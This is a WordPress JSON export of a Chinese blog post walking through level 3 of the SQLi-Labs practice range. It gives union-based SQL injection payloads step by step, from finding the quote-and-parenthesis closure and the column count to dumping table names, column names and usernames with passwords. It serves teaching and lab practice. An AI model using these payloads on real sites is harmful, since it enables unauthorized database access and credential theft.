{"id":269,"date":"2021-10-25T11:13:12","date_gmt":"2021-10-25T03:13:12","guid":{"rendered":"https:\/\/axinyi.xuenixiang.com\/?p=269"},"modified":"2021-10-25T11:13:14","modified_gmt":"2021-10-25T03:13:14","slug":"sqli-labs3","status":"publish","type":"post","link":"https:\/\/axinyi.xuenixiang.com\/index.php\/2021\/10\/25\/sqli-labs3\/","title":{"rendered":"SQLi-LABS\u9776\u573a-3 \u8be6\u89e3"},"content":{"rendered":"\n<p class=\"has-medium-font-size\">SQLi-Labs \u662f\u4e00\u4e2a\u4e13\u4e1a\u7684SQL\u6ce8\u5165\u7ec3\u4e60\u5e73\u53f0<\/p>\n\n\n\n<p class=\"has-medium-font-size\">\u4eca\u5929\u6ce8\u5165\u9776\u573a\u7684\u7b2c\u4e09\u5173\uff0c\u8bbf\u95ee\u7b2c\u4e09\u5173\u4e3b\u9875\uff0cget\u4f20\u53c2id=1\uff0c\u5982\u56fe\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"1024\" height=\"304\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/1-2-1024x304.png\" alt=\"\" class=\"wp-image-270\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/1-2-1024x304.png 1024w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/1-2-300x89.png 300w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/1-2-768x228.png 768w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/1-2.png 1498w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\">\u901a\u8fc7\u7ed9\u6ce8\u5165\u70b9\u4f20\u503c\uff0c\u6211\u4eec\u5224\u65ad\u4e0b\u6ce8\u5165\u6ce8\u5165\u7684\u7c7b\u578b<\/p>\n\n\n\n<pre class=\"wp-block-code has-medium-font-size\"><code>?id=1'<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"1024\" height=\"357\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/2-5-1024x357.png\" alt=\"\" class=\"wp-image-271\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/2-5-1024x357.png 1024w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/2-5-300x105.png 300w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/2-5-768x268.png 768w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/2-5-1536x535.png 1536w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/2-5.png 1604w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\">\u901a\u8fc7\u62a5\u9519\u4fe1\u606f\u6211\u4eec\u5f97\u77e5$id\u53ef\u80fd\u88ab\u4e00\u5bf9\u62ec\u53f7\u52a0\u4e00\u5bf9\u5355\u5f15\u53f7\u5305\u62ec\u5728\u5185\u3002<\/p>\n\n\n\n<p class=\"has-medium-font-size\">\u6211\u4eec\u4fee\u6539\u8bed\u53e5<\/p>\n\n\n\n<pre class=\"wp-block-code has-medium-font-size\"><code>?id=1') --+<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"1024\" height=\"336\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/4-4-1024x336.png\" alt=\"\" class=\"wp-image-272\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/4-4-1024x336.png 1024w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/4-4-300x99.png 300w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/4-4-768x252.png 768w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/4-4-1536x505.png 1536w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/4-4.png 1580w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\">\u597d\u7684\u627e\u5230\u6b63\u786e\u7684\u6ce8\u5165\u7c7b\u578b\u4e4b\u540e\uff0c\u6211\u4eec\u5f00\u59cb\u8fdb\u884cSQL\u6ce8\u5165\u666e\u904d\u6d41\u7a0b\uff0c\u9996\u5148\u6211\u4eec\u731c\u6d4b\u4e0b\u5f53\u524d\u8868\u7684\u5b57\u6bb5\u6570<\/p>\n\n\n\n<pre class=\"wp-block-code has-medium-font-size\"><code>?id=1') order by 4 --+<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"1024\" height=\"353\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/5-4-1024x353.png\" alt=\"\" class=\"wp-image-273\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/5-4-1024x353.png 1024w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/5-4-300x103.png 300w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/5-4-768x265.png 768w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/5-4.png 1389w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\">\u5f53\u4f20\u5165 ?id=1') order by 3 --+ \u65f6\u6b63\u5e38\u56de\u663e\uff0c\u5f53\u53d8\u4e3aorder by 4 --+ \u65f6\u53d1\u751f\u62a5\u9519\uff0c\u6240\u4ee5\u731c\u6d4b\u5b57\u6bb5\u6570\u4e3a3<\/p>\n\n\n\n<p class=\"has-medium-font-size\">\u4f7f\u6570\u636e\u5e93\u62a5\u9519\uff0c\u67e5\u8be2\u5b57\u6bb5\u8f93\u51fa\u4f4d\u7f6e<\/p>\n\n\n\n<pre class=\"wp-block-code has-medium-font-size\"><code>?id=-1') union select 1,2,3 --+<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"1024\" height=\"361\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/6-4-1024x361.png\" alt=\"\" class=\"wp-image-274\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/6-4-1024x361.png 1024w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/6-4-300x106.png 300w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/6-4-768x271.png 768w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/6-4-1536x541.png 1536w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/6-4.png 1549w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\">\u6570\u636e\u8f93\u51fa\u4f4d\u7f6e\u5728\u5b57\u6bb52\u548c3\uff0c\u63a5\u4e0b\u6765\u6211\u4eec\u67e5\u8be2\u5f53\u524d\u7528\u6237\u540d\u548c\u5f53\u524d\u6570\u636e\u5e93\u7248\u672c<\/p>\n\n\n\n<pre class=\"wp-block-code has-medium-font-size\"><code>?id=-1') union select 1,user(),@@version --+<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"1024\" height=\"383\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/7-4-1024x383.png\" alt=\"\" class=\"wp-image-275\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/7-4-1024x383.png 1024w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/7-4-300x112.png 300w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/7-4-768x287.png 768w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/7-4-1536x574.png 1536w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/7-4.png 1622w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\">\u67e5\u8be2\u5f53\u524d\u6570\u636e\u5e93\u540d<\/p>\n\n\n\n<pre class=\"wp-block-code has-medium-font-size\"><code>?id=-1') union select 1,2,database() --+<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"1024\" height=\"377\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/8-4-1024x377.png\" alt=\"\" class=\"wp-image-276\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/8-4-1024x377.png 1024w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/8-4-300x111.png 300w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/8-4-768x283.png 768w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/8-4.png 1433w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\">\u6570\u636e\u5e93\u540d\u4e3asecurity\uff0c\u901a\u8fc7information_schema\u67e5\u8be2\u8868\u540d<\/p>\n\n\n\n<pre class=\"wp-block-code has-medium-font-size\"><code>?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"1024\" height=\"353\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/9-5-1024x353.png\" alt=\"\" class=\"wp-image-277\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/9-5-1024x353.png 1024w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/9-5-300x103.png 300w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/9-5-768x264.png 768w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/9-5.png 1446w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\">\u67e5\u8be2\u5230\u6709\u540d\u4e3ausers\u7684\u8868\uff0c\u67e5\u8be2\u8868\u5185\u5b57\u6bb5<\/p>\n\n\n\n<pre class=\"wp-block-code has-medium-font-size\"><code>?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"1024\" height=\"341\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/10-2-1024x341.png\" alt=\"\" class=\"wp-image-278\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/10-2-1024x341.png 1024w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/10-2-300x100.png 300w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/10-2-768x256.png 768w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/10-2-1536x512.png 1536w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/10-2.png 1591w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\">\u67e5\u8be2\u5230\u4e09\u4e2a\u5b57\u6bb5\uff0c\u5176\u4e2d\u6709username\u548cpassword\uff0c\u67e5\u8be2\u8fd9\u4e24\u4e2a\u5b57\u6bb5\u5185\u5bb9<\/p>\n\n\n\n<pre class=\"wp-block-code has-medium-font-size\"><code>?id=-1') union select 1,2,group_concat(username,0x7e,password) from security.users --+<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"1024\" height=\"352\" src=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/11-3-1024x352.png\" alt=\"\" class=\"wp-image-279\" srcset=\"https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/11-3-1024x352.png 1024w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/11-3-300x103.png 300w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/11-3-768x264.png 768w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/11-3-1536x527.png 1536w, https:\/\/axinyi.xuenixiang.com\/wp-content\/uploads\/2021\/10\/11-3.png 1625w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\">\u5e10\u53f7\u5bc6\u7801\u67e5\u8be2\u6210\u529f\uff0c\u5230\u8fd9\u4e09\u5173\u5c31\u7ed3\u675f\u4e86\uff0c\u6b63\u786e\u7684\u5224\u65ad\u6ce8\u5165\u7c7b\u578b\u662f\u6bd4\u8f83\u91cd\u8981\u7684\uff0c\u65e0\u6cd5\u5224\u65ad\u6b63\u786e\u7684\u6570\u636e\u7c7b\u578b\uff0c\u5c31\u65e0\u6cd5\u8fdb\u884c\u4e0b\u4e00\u6b65\u6e17\u900f\uff0c\u901a\u8fc7\u62a5\u9519\u4fe1\u606f\u731c\u6d4b\u5f00\u53d1\u8005\u7684\u4ee3\u7801\u662f\u600e\u4e48\u5199\u7684\uff0c\u5bf9\u6211\u4eec\u6e17\u900f\u7684\u8fc7\u7a0b\u662f\u5f88\u6709\u5e2e\u52a9\u7684\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SQLi-Labs \u662f\u4e00\u4e2a\u4e13\u4e1a\u7684SQL\u6ce8\u5165\u7ec3\u4e60\u5e73\u53f0 \u4eca\u5929\u6ce8\u5165\u9776\u573a\u7684\u7b2c\u4e09\u5173\uff0c\u8bbf\u95ee\u7b2c\u4e09\u5173\u4e3b\u9875\uff0cget\u4f20\u53c2id=1\uff0c\u5982\u56fe\uff1a \u901a\u8fc7\u7ed9\u6ce8\u5165\u70b9 &#8230;<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/posts\/269"}],"collection":[{"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/comments?post=269"}],"version-history":[{"count":2,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/posts\/269\/revisions"}],"predecessor-version":[{"id":281,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/posts\/269\/revisions\/281"}],"wp:attachment":[{"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/media?parent=269"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/categories?post=269"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/axinyi.xuenixiang.com\/index.php\/wp-json\/wp\/v2\/tags?post=269"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}